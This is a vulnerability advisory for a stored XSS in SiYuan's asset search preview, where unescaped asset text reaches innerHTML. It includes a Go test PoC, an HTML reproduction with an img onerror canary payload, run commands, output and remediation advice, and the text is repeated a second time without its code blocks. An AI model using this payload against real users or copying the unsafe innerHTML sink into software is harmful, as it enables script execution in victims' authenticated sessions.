Summary
SiYuan inserts indexed asset content into the authenticated DOM using innerHTML without HTML escaping or sanitization. A crafted text asset is preserved by the backend and returned by /api/search/getAssetContent; the Search -> Assets preview then executes its HTML in the SiYuan origin. This is distinct from the previously reported attribute-view asset-cell and arbitrary-file asset findings.
Details
The route is registered at kernel/api/router.go:240:
authorization route:
ginServer.Handle("POST", "/api/search/getAssetContent", model.CheckAuth, getAssetContent)
The handler is kernel/api/search.go:69-94. The frontend sink is app/src/search/assets.ts:230-233:
export const renderPreview = (element: Element, id: string, query: string, queryMethod: number) => {
fetchPost("/api/search/getAssetContent", {id, query, queryMethod}, (response) => {
element.innerHTML = '<p style="white-space: pre-wrap;">' + response.data.assetContent.content + '</p>';
The text parser in kernel/model/asset_content.go:50-110 copies UTF-8 asset bytes into the returned content without HTML escaping.
Complete PoC
Tested against commit afa823b. The complete backend test file kernel/model/asset_preview_xss_poc_test.go is:
package model
import (
"fmt"
"os"
"path/filepath"
"testing"
"github.com/siyuan-note/siyuan/kernel/util"
)
func TestAssetPreviewPoCPreservesAttackerControlledMarkup(t *testing.T) {
oldTempDir := util.TempDir
util.TempDir = t.TempDir()
t.Cleanup(func() { util.TempDir = oldTempDir })
assetPath := filepath.Join(t.TempDir(), "researcher-controlled.txt")
payload := `<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'">`
if err := os.WriteFile(assetPath, []byte(payload), 0600); err != nil {
t.Fatal(err)
}
parsed := (&TxtAssetParser{}).Parse(assetPath)
if parsed == nil {
t.Fatal("text asset was not parsed")
}
fmt.Printf("PARSED_ASSET_CONTENT=%s\\n", parsed.Content)
if parsed.Content != payload {
t.Fatalf("parser changed payload: %q", parsed.Content)
}
}
Run:
cd /home/ubuntu/siyuan-security-audit/deepdive-source/kernel
gofmt -w model/asset_preview_xss_poc_test.go
go test ./model -run TestAssetPreviewPoCPreservesAttackerControlledMarkup -count=1 -v
Observed output:
=== RUN TestAssetPreviewPoCPreservesAttackerControlledMarkup
PARSED_ASSET_CONTENT=<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'">
--- PASS: TestAssetPreviewPoCPreservesAttackerControlledMarkup (0.00s)
PASS
ok github.com/siyuan-note/siyuan/kernel/model 0.048s
The complete browser reproduction asset_preview_xss_repro.html is:
<!doctype html>
<meta charset="utf-8">
<title>SiYuan asset preview PoC</title>
<div id="searchAssetPreview"></div>
<script>
const response = {data: {assetContent: {content: '<img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss=\\'ASSET_PREVIEW_XSS_CANARY\\'">'}}};
const element = document.querySelector('#searchAssetPreview');
element.innerHTML = '<p style="white-space: pre-wrap;">' + response.data.assetContent.content + '</p>';
setTimeout(() => {
const result = document.createElement('pre');
result.id = 'poc-result';
result.textContent = document.body.dataset.assetPreviewXss || 'NOT_EXECUTED';
document.body.appendChild(result);
}, 100);
</script>
Run:
chromium --headless --no-sandbox --disable-gpu --disable-software-rasterizer \\
--virtual-time-budget=1000 --dump-dom \\
file:///home/ubuntu/siyuan-security-audit/runtime/asset_preview_xss_repro.html \\
| grep -E 'poc-result|ASSET_PREVIEW_XSS_CANARY|NOT_EXECUTED'
Observed output:
</head><body data-asset-preview-xss="ASSET_PREVIEW_XSS_CANARY"><div id="searchAssetPreview"><p style="white-space: pre-wrap;"><img src="missing-asset-preview-canary" onerror="document.body.dataset.assetPreviewXss='ASSET_PREVIEW_XSS_CANARY'"></p></div>
<pre id="poc-result">ASSET_PREVIEW_XSS_CANARY</pre></body></html>
The canary proves event-handler execution after the unescaped asset string is assigned to innerHTML.
Impact
An actor who can place a crafted text asset in a victim's shared, synchronized, or imported workspace can execute JavaScript when the victim previews it. The payload runs in the SiYuan origin and can issue authenticated same-origin API requests, alter workspace content, and target privileged UI actions. In the desktop client, this crosses into the SiYuan renderer.
Remediation
Use textContent or HTML-escape AssetContent.Content. If highlighting is required, use a strict allowlist sanitizer that rejects event attributes, active elements, executable URL schemes, and namespace-based bypasses. Add regression tests for script, event-handler, SVG/MathML, malformed-tag, and encoded payloads.
Summary
SiYuan inserts indexed asset content into the authenticated DOM using innerHTML without HTML escaping or sanitization. A crafted text asset is preserved by the backend and returned by /api/search/getAssetContent; the Search -> Assets preview then executes its HTML in the SiYuan origin. This is distinct from the previously reported attribute-view asset-cell and arbitrary-file asset findings.
Details
The route is registered at kernel/api/router.go:240:
authorization route:
The handler is kernel/api/search.go:69-94. The frontend sink is app/src/search/assets.ts:230-233:
The text parser in kernel/model/asset_content.go:50-110 copies UTF-8 asset bytes into the returned content without HTML escaping.
Complete PoC
Tested against commit afa823b. The complete backend test file kernel/model/asset_preview_xss_poc_test.go is:
Run:
Observed output:
The complete browser reproduction asset_preview_xss_repro.html is:
Run:
Observed output:
The canary proves event-handler execution after the unescaped asset string is assigned to innerHTML.
Impact
An actor who can place a crafted text asset in a victim's shared, synchronized, or imported workspace can execute JavaScript when the victim previews it. The payload runs in the SiYuan origin and can issue authenticated same-origin API requests, alter workspace content, and target privileged UI actions. In the desktop client, this crosses into the SiYuan renderer.
Remediation
Use textContent or HTML-escape AssetContent.Content. If highlighting is required, use a strict allowlist sanitizer that rejects event attributes, active elements, executable URL schemes, and namespace-based bypasses. Add regression tests for script, event-handler, SVG/MathML, malformed-tag, and encoded payloads.